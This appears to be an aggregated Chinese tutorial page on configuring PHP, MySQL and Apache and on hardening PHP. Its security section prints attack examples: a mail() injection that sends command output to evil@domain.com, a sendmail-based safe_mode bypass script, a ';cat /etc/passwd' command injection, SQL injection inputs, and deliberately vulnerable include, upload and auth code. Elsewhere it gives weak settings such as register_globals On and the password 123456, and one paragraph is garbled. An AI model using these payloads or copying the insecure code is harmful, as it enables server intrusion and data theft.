- 1、window2000中如何配置PHP運行環境?
- 2、php安全配置 如何配置使其更安全
- 3、PHP里
- 4、windows10怎麼配置php環境
- 5、如何配置php服務器
我在CSDN的原創帖,雖然操作系統是XP,但是在WIN2000下同樣可用(可能有細小的差別)
本帖是根據個人的服務器配置一步步寫出來的,有不足的地方請指正,希望本帖能給在php+mysql道路上摸索的朋友們一點幫助。
系統介紹:winXP+II5.1
服務器組件:PHP5.1.2,MYSQL5.0
PHP下載地址
MYSQL下載地址
首先安裝IIS:在控制面板-添加刪除windows組件,把IIS信息服務組件打上勾就行
可能的問題:XPsp2中自帶的防火牆可能阻止其他計算機訪問你的web頁,這時在防火牆設置里添加80端口為例外就行了。
其次安裝PHP:在官方網站上下載php-5.1.2-Win32.zip(8.71M),不推薦下載php-installer。下載後解壓到PHP文件夾(自己新建的PHP文件夾)。
PHP配置:這裡以PHP5.1.2為準,以前版本未使用過。
將PHP目錄下的所有DLL文件拷貝到c:\Windows\system32(win2000系統為 c:/winnt/system32/)下,覆蓋已有的dll文件;
然後再將php.ini-dist用記事本打開,利用記事本的查找功能搜索並修改:
搜索 register_globals = Off
將 Off 改成 On ,即得到register_globals = On;
註:這個對應PHP的全局變量功能,考慮有很多PHP程序需要全局變量功能故打開,打開後請注意-PHP程序的嚴謹性,如果不需要推薦不修改保持默認Off狀態
再搜索 extension_dir =
並將其路徑指到你的 PHP 目錄下的 extensions 目錄,PHP擴展功能目錄[PHP5對應修改為extension_dir = “G:/php/ext/”]
在G:\php下建立文件夾並命名為tmp
查找
upload_tmp_dir =
將;upload_tmp_dir該行的注釋符,即前面的分號“;”去掉,使該行在php.ini文檔中起作用。upload_tmp_dir是用來定義上傳文件存放的臨時路徑,在這裡你還可以修改並給其定義一個絕對路徑,這裡設置的目錄必須有讀寫權限。
這裡我設置為upload_tmp_dir = G:/php/tmp (即前面建立的這個文件夾呵)
搜索找到
Windows Extensions
將下面一些常用的項前面的;去掉
;extension=php_mbstring.dll
;extension=php_curl.dll
;extension=php_dbase.dll
;extension=php_gd2.dll
這個是用來支持GD庫的,一般需要,必選
;extension=php_ldap.dll
;extension=php_zip.dll
去掉前面的”;”
;extension=php_mysql.dll
這個是用來支持MYSQL的,由於PHP5將MySQL作為一個獨立的模塊來加載運行的,故要支持MYSQL必選
查找
;session.save_path =
去掉前面;號,本文這裡將其設置置為
session.save_path = G:/php/tmp
其他的你可以選擇需要的去掉前面的;然後將該文件另存為為php.ini到C:\Windows ( Windows 2000 下為 C:\WINNT)目錄下,注意更改文件後綴名為ini,得到C:\Windows\php.ini ( Windows 2000 下為 C:\WINNT\php.ini)
若路徑等和本文相同可直接保存到C:\Windows ( Windows 2000 下為 C:\WINNT)目錄下使用若路徑等和本文相同可直接保存到C:\Windows ( Windows 2000 下為 C:\WINNT)目錄下使用
一些朋友經常反映無法上傳較大的文件或者運行某些程序經常超時,那麼可以找到C:\Windows ( Windows 2000 下為 C:\WINNT)目錄下的PHP.INI以下內容修改:
max_execution_time = 30 ; 這個是每個腳本運行的最長時間,可以自己修改加長,單位秒
max_input_time = 60 ; 這是每個腳本可以消耗的時間,單位也是秒
memory_limit = 8M ; 這個是腳本運行最大消耗的內存,也可以自己加大
upload_max_filesize = 2M ; 上載文件的最大許可大小 ,自己改吧,一些圖片論壇需要這個更大的值
MYSQL設置:基本比較傻瓜式,一路NEXT就行,也有個問題就是自帶防火牆可能阻止MYSQL的默認端口3306,同理添加例外端口3306。
其實講講開發工具:MYSQL的GUI,很多人用phpmyadmin,我也用或,只是一直沒用成(汗一個),後改用MYSQL-FRONT,類似SQL SERVER的GUI,操作也還簡便,有SQL語句的高亮顯示
在可以down到破解版
PHP的編譯程序有很多,例如EDIT PLUS,ZEND STUDIO,DEV PHP,PHP CODER,PHPXEDIT,不過我個人欣賞PHP DDESIGNER,小巧功能強大,不需要建立服務器就能調試,語法高亮,有project概念,甚至添加了一些例如button的控件,大家而已試試。
一、Web服務器安全
PHP其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是針對Win32平台,所以需要在chroot環境下調整好sendmail。
二、PHP本身問題
1、遠程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠程緩衝區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:
2、遠程拒絕服務
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也能造成拒絕服務。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:
? mail(“foo@bar,”foo”,”bar”,””,$bar); ?
執行如下的URL:
;/usr/bin/id|mail evil@domain.com
這將id執行的結果發送給evil@domain.com。
對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:
?
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script=”/tmp/script123″;
$cf=”/tmp/cf123″;
$fd = fopen($cf, “w”);
fwrite($fd, “OQ/tmp
Sparse=0
R$*” . chr(9) . “$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script”);
fclose($fd);
$fd = fopen($script, “w”);
fwrite($fd, “rm -f $script $cf; “);
fwrite($fd, $cmd);
fclose($fd);
mail(“nobody”, “”, “”, “”, “-C$cf”);
?
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、PHP本身的安全配置
PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。
如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定義目錄:
Directory /var/www
Options FollowSymLinks
php_admin_value safe_mode 1
/Directory
重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:
?include(“index.html”)?
幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r–r– 1 root root 4110 Oct 26 2002 index.html
-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:
safe_mode_gid = On
設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:
safe_mode_exec_dir = /usr/local/php/exec
然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。
從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。
指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變量(例如 PHP_FOO = BAR)。
注: 如果本指令為空,PHP 將使用戶可以修改任何環境變量!
safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變量的列表,最終用戶不能用 putenv() 來改變這些環境變量。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變量。
雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。
討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP服務器端的配置來避免出現的漏洞。
2、變量濫用
PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = “EGPCS”(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習慣,像如下的程序片斷就極易受到攻擊:
?
//test_1.php
if ($pass == “hello”)
$auth = 1;
if ($auth == 1)
echo “some important information”;
else
echo “nothing”;
?
攻擊者只需用如下的請求就能繞過檢查:
這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞
PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變量來使用各種變量。對於從GET、POST、COOKIE等來的變量並不會直接註冊成變量,必需通過數組變量來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變量。
解決方法:
配置文件php.ini設置register_globals = Off。
要求程序員對作為判斷的變量在程序最開始初始化一個值。
3、文件打開
極易受攻擊的代碼片斷:
?
//test_2.php
if (!($str = readfile(“$filename”))) {
echo(“Could not open file: $filenameBR\n”);
exit;
}
else {
echo $str;
}
?
由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:
如下請求可以讀php文件本身:
PHP中文件打開函數還有fopen(), file()等,如果對文件名變量檢查不嚴就會造成服務器重要文件被訪問讀取。
解決方法:
如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:
Directory /usr/local/apache/htdocs
php_admin_value open_basedir /usr/local/apache/htdocs
/Directory
重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經討論過了。
4、包含文件
極易受攻擊的代碼片斷:
?
//test_3.php
if(file_exists($filename))
include(“$filename”);
?
這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:
如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,的內容是?passthru(“ls /etc”)?,那麼如下的請求就可以在目標主機執行命令ls /etc:
攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。
對於另外一種形式,如下代碼片斷:
?
//test_4.php
include(“$lib/config.php”);
?
攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。
解決方法:
要求程序員包含文件里的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。
如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:
allow_url_fopen = Off
重啟apache。
5、文件上傳
php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變量:(如form變量名是file,而且register_globals打開)
$file #就是保存到服務器端的臨時文件(如/tmp/phpxXuoXG )
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型
推薦使用:
$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]
這是一個最簡單的文件上傳代碼:
?
//test_5.php
if(isset($upload) $file != “none”) {
copy($file, “/usr/local/apache/htdocs/upload/”.$file_name);
echo “文件”.$file_name.”上傳成功!點擊a href=\”$PHP_SELF\”繼續上傳/a”;
exit;
}
?
html
head
title文件上傳/title
meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″
/head
body bgcolor=”#FFFFFF”
form enctype=”multipart/form-data” method=”post”
上傳文件:
input type=”file” name=”file” size=”30″
input type=”submit” name=”upload” value=”上傳”
/form
/body
/html
這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:
… ile_name=attack.txt
然後可以用如下請求讀取口令文件:
攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。
攻擊者可以自定義form里file_name變量的值,上傳覆蓋任意有寫權限的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。
解決方法:
PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變量。
嚴格檢查上傳變量。比如不允許是php腳本文件。
把PHP腳本操作限制在web目錄可以避免程序員使用copy函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進行加密,避免由於copy操作泄漏源碼。
嚴格配置文件和目錄的權限,只允許上傳的目錄能夠讓nobody用戶可寫。
對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:
Directory /usr/local/apache/htdocs/upload
php_flag engine off
#如果是php3換成php3_engine off
/Directory
重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。
6、命令執行
下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:
?
//test_6.php
system(“traceroute $a_query”,$ret_strs);
?
由於程序沒有過濾$a_query變量,所以攻擊者可以用分號來追加執行命令。
攻擊者輸入如下請求可以執行cat /etc/passwd命令:
;cat /etc/passwd
PHP的命令執行函數還有system(), passthru(), popen()和“等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。
解決方法:
要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。
啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。
7、sql_inject
如下的SQL語句如果未對變量進行處理就會存在問題:
select * from login where user=$user and pass=$pass
攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。
不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變量自動加了addslashes()操作。上面SQL語句變成了:
select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1
從而避免了此類sql_inject攻擊。
對於數字類型的字段,很多程序員會這樣寫:
select * from test where id=$id
由於變量沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等數據庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。
解決方法:
要求程序員對所有用戶提交的要放到SQL語句的變量進行過濾。
即使是數字類型的字段,變量也要用單引號擴起來,MySQL自己會把字串處理成數字。
在MySQL里不要給PHP程序高級別權限的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE … 這種攻擊。
8、警告及錯誤信息
PHP默認顯示所有的警告及錯誤信息:
error_reporting = E_ALL ~E_NOTICE
display_errors = On
在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。
正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。
修改php.ini中關於Error handling and logging部分內容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。
9、disable_functions
如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:
disable_functions = phpinfo, get_cfg_var
可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏服務器信息,而且沒有實際用處。
10、disable_classes
這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。
11、open_basedir
前面分析例程的時候也多次提到用open_basedir對腳本操作路徑進行限制,這裡再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 “open_basedir = /dir/incl” 也會允許訪問 “/dir/include” 和 “/dir/incls”,如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:”open_basedir = /dir/incl/”。
可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。
四、其它安全配置
1、取消其它用戶對常用、重要系統命令的讀寫執行權限
一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行權限能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的權限也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行權限會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行權限不能去掉。這是一項比較累人的工作,
2、去掉apache日誌其它用戶的讀權限
apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問權限。
如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀權限。
當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。
PHP默認開始標籤是?php ,如果讓?也支持開始標識的話,需要在php.ini配置文件中開啟;具體步驟如下:
打開php.ini配置文件;
找到short_open_tag項,將值修改為On;
3.重啟web服務器(apache,IIS,Nginx等);
4.測試成功!!
v在Windows下配置搭建PHP環境的步驟:一、準備工作-下載所需軟件
Apache httpd-2.2.22-win32-x86-openssl-0.9.8t.msi
PHP php-5.3.10-Win32-VC9-x86.zip
MySQL mysql-5.5.20-win32.msi
二、安裝軟件
1、安裝Apache: 雙擊安裝,與安裝其他Windows軟件沒有什麼區別,在填Server Infomation時,並沒有特殊規定,只要輸入的信息符合格式即可。
安裝完成之後,在瀏覽器輸入,如果顯示It Works!,表示Apache安裝成功。
2、安裝PHP:將php-5.3.10-Win32-VC9-x86.zip解壓到一個目錄即可。
3、安裝MySQL:雙擊安裝,如果需要更改安裝目錄,則在Choose Setup Type選擇Custom
安裝完成後開始配置MySQL,全部保持默認選項即可,但最好把MySQL默認編碼改為utf8,在Modify Security Settings選項中設置密碼,輸入兩次密碼即可完成,最後點Execute完成配置。
三、整合Apache+PHP+MySQL
Apache : 首先修改Apache的配置文件,讓Apache支持解析PHP文件。Apache配置文件在Apache安裝目錄的conf目錄下的httpd.conf。
1. 讓Apache可以解析php文件,在配置文件中找到
#LoadModule vhost_alias_module modules/mod_vhost_alias.so
在下一行添加 (綠色的位置是根據PHP的所在目錄而定的)
LoadModule php5_module “D:/Develop/PHP/php5apache2_2.dll”
PHPIniDir “D:/Develop/PHP”
AddType application/x-httpd-php .php .html .htm
2. 在配置文件中找到
DirectoryIndex index.html
改為
DirectoryIndex index.php index.html
3. 修改Apache站點目錄,在配置文件中找到(Apache安裝的目錄不同,顯示的值不一樣)
DocumentRoot “D:/Develop/Apache2.2/htdocs”
改為
DocumentRoot “D:/Workspace/PHP”
再找到
Directory “D:/Develop/Apache2.2/htdocs”
改為
Directory “D:/Workspace/PHP”
PHP : 把php.ini-development改名為php.ini,作為PHP的配置文件。修改php.ini
1. 設置PHP擴展包的具體目錄,找到
; On windows:
; extension_dir = “ext”
改為 (值是ext文件夾的目錄)
; On windows:
extension_dir = “D:/Develop/PHP/ext”
2. 開啟相應的庫功能,找到需要開啟的庫的所在行
;extension=php_curl.dll
;extension=php_gd2.dll
;extension=php_mbstring.dll
;extension=php_mysql.dll
;extension=php_xmlrpc.dll
去掉前面的分號(注釋),即改為
extension=php_curl.dll
extension=php_gd2.dll
extension=php_mbstring.dll
extension=php_mysql.dll
extension=php_xmlrpc.dll
3. 設置時區,找到
PHP服務器LAMP配置與應用(Linux+Apache+Mysql+Php):
已默認安裝了php,可以使用rmp -q php查看其版本號
安裝mysql客戶端mysql(與perl-DBI包有依賴關係,要先安裝)
安裝mysql服務端mysql-server(與perl-DBD包有依賴關係,要先安裝)
安裝php支持mysql的模塊php-mysql(與php-pdo包有依賴關係,要先安裝)
Mysql的web管理工具phpMyAdmin
安裝
下載並解壓phpMyAdmin的包到某個web目錄(或為phpMyadmin建立虛擬主機,將該包解壓到虛擬主機目錄)
#tar -xzvf phpMyAdmin-2.10.0.2-all-languages.tar.gz
執行下列命令:
#cd phpMyAdmin
#mkdir config #建立一個用來保存配置的目錄
#chmod o+rw config #更改該目錄的權限為屬主可讀寫
#cp config.sample.inc.php config/ #將當前目錄下的config.sample.inc.php複製到config
#chmod o+w config/config.inc.php # 使該文件的屬主具有寫權限
運行安裝嚮導頁面
在瀏覽器中打開scripts/setup.php,按照嚮導頁面添入相關信息,最後單擊“保存”,則所做的配置保存在config/config.inc.php中。(註:如果config子目錄沒有建立,或沒有對該文件的寫權限的話,則會出現”Cannot load or save configuration.”的提示,這種情況下應選擇“DownLoad”下載到本地,再上傳到phpMyAdmin的主目錄下 ),主要有以下樣目需要添寫:
User for config auth__________________
Password for config auth__________________
phpMyAdmin control user____________________
phpMyAdmin control user password______________________
phpMyAdmin database for advanced features__________________
配置成功保存的話,執行下面命令
#mv config/config.inc.php . #將配置文件移動到phpMyAdmin的主目錄
#chmod o-r config.inc.php #為安全起見,移去該文件的讀寫權限
在瀏覽器中打開phpMyAdmin對應的站點
phpbb應用
註:以下頭3步有關mysql的操作也可以在webmin中完成.
mysql的賬號管理
1) 要設置root用戶的密碼為123456,則在系統提示符下執行下面的命令:
#mysqladmin -u root -p password “123456”
2) 要在mysql命令行客戶端,設置root用戶的密碼為123456,則需執行以下命令:
mysql use mysql;
mysql update user set Password=password(‘123456′) where User=’root’;
mysql flush privileges;
3) 如果要新增用戶u1,給他授予對數據庫bb中所有表(*)的所有權限(all),密碼設為888888,則在mysql提示符下:
mysql grant all on bb.* to ‘u1’@’localhost’ identified by ‘888888’;
如果root用戶有密碼,則進入mysql客戶端需用下面的命令:#mysql -u root -p
新建phpbb論壇所要用到的數據庫:mysqlcreate database XXX;
為phpbb所在目錄新建虛擬主機
在瀏覽器中訪問該虛擬主機,以安裝phpbb
注意:在安裝結尾,選擇下載配置文件,自行上傳.然後刪除install,contrib兩個目錄
php配置實例
1.使用Apache配置基本的web站點,使客戶端瀏覽簡體中文網頁能正常顯示、新增支持的主頁文件index.htm index.php default.htm default.html。最後要能在其它計算機上通過域名訪問,比如www6.yyy.net03.org。
2.在web站點下實現虛擬目錄,即web站點的子目錄,該子目錄與主目錄不一定是上下目錄關係.同時,允許該目錄有目錄列表功能(即在沒有找到主文件件的時候,顯示當前目錄下的列表).
3.實現Linux用戶個人站點.
4.配置多個基於名稱的虛擬主機,比如www1.yyy.net03.org,www2.yyy.net03.org。最後要能在其它計算機上通過域名訪問。
5.配置多個基於IP的虛擬主機,比如lit.yyy.net03.org,mil.yyy.net03.org。最後要能在其它計算機上通過域名訪問。
6.配置LAMP環境
7.配置phpbb論壇,並使該論壇可以通過形如bbs.yyy.net03.org的形式訪問。
(*)8. 刪除系統原有Apache、php、Mysql項目,使用源文件安裝最新版本的Apache、php、Mysql
利用源代碼安裝LAMP
首先要在相關網站獲取Apache、Mysql、Php的源碼包,一般擴展名為xxx.tar.gz.
刪除系統原有Apache、php、Mysql項目,可能要用到下面的命令
# rpm -e xxx
# rpm -e xxx nodeps #不考慮依賴關係而刪除xxx包
# rpm -e xxx yyy zzz #刪除xxx,yyy,zzz包
如果無法刪除一個RPM包,可以使用以下兩步:
#rpm -f /var/lib/rpm
#rpm –rebuilddb
或:
#rpm -ivh –justdb xxx
#rpm -e xxx
1. 安裝Apache(httpd-2.2.8)
# ./configure –enable-so
# make
# make install
# /usr/local/apache2/bin/apachectl start
2. 安裝Mysql(Mysql-5.0.22)
1) 建立用戶及組,如果在/etc/passwd中已有該用戶,則下列操作可以省略
shell groupadd mysql
shell useradd -g mysql mysql
2) 解壓、配置編譯安裝
shell gunzip mysql-VERSION.tar.gz | tar -xvf –
shell cd mysql-VERSION
shell ./configure –prefix=/usr/local/mysql #配置(指定mysql安裝路徑)
shell make #編譯
shell make install #安裝
3) 配置mysql
shell cp support-files/my-medium.cnf /etc/my.cnf #建立mysql配置文件
shell cp support-files/mysql.server /etc/init.d/ #建立mysql控制腳本
shell cd /usr/local/mysql
shell bin/mysql_install_db –user=mysql #建立mysql系統數據庫
shell chown -R root . #更改當前目錄及子目錄所有者
shell chown -R mysql var #更改var目錄及子目錄所有者
shell chgrp -R mysql . #更改當前目錄及子目錄所屬組
4) 啟動mysql
shell bin/mysqld_safe –user=mysql #以後台模式運行mysqld服務
shell chkconfig –list | less #查看服務列表
shell chkconfig –add mysql.server #將mysql.server添加到服務列表
shell chkconfig –list | less #查看服務列表
shell service mysql.server restart
shell /usr/local/mysql/bin/mysqladmin -u root -p password ‘888888’ #更改mysql管理用戶root的密碼
3. 安裝php(php5 on Apache 2 Shared Module Version)
1) tar -zxvf php-NN.tar
2) cd php-NN
3) ./configure –with-apxs2=/usr/local/apache2/bin/apxs –with-mysql=/usr/local/mysql
4) make
5) make install
6) 建立php配置文件php.ini
# cp php.ini-dist /usr/local/lib/php.ini
7) 編輯http配置文件 httpd.conf 使之加載PHP模塊
對於 PHP 4,添加下句:
LoadModule php4_module modules/libphp4.so
對於 PHP 5,添加下句:
LoadModule php5_module modules/libphp5.so
8) 編輯http配置文件 httpd.conf,使之能解析擴展名為php的文件
AddType application/x-httpd-php .php .phtml
9) 編輯http配置文件 httpd.conf,修改主頁文件
DirectoryIndex index.php index.htm index.html
10) 重啟httpd服務
# /usr/local/apache2/bin/apachectl start
或
# /usr/local/apache/bin/apachectl -k start
11) 編輯index.php文件,並在瀏覽器中訪問該站點,如果出現關於php的當前配置信息(其中有mysql的配置項),表示LAMP安裝成功。
$vi index.php
?php
phpinfo()
?
原創文章,作者:BUP6K,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/126616.html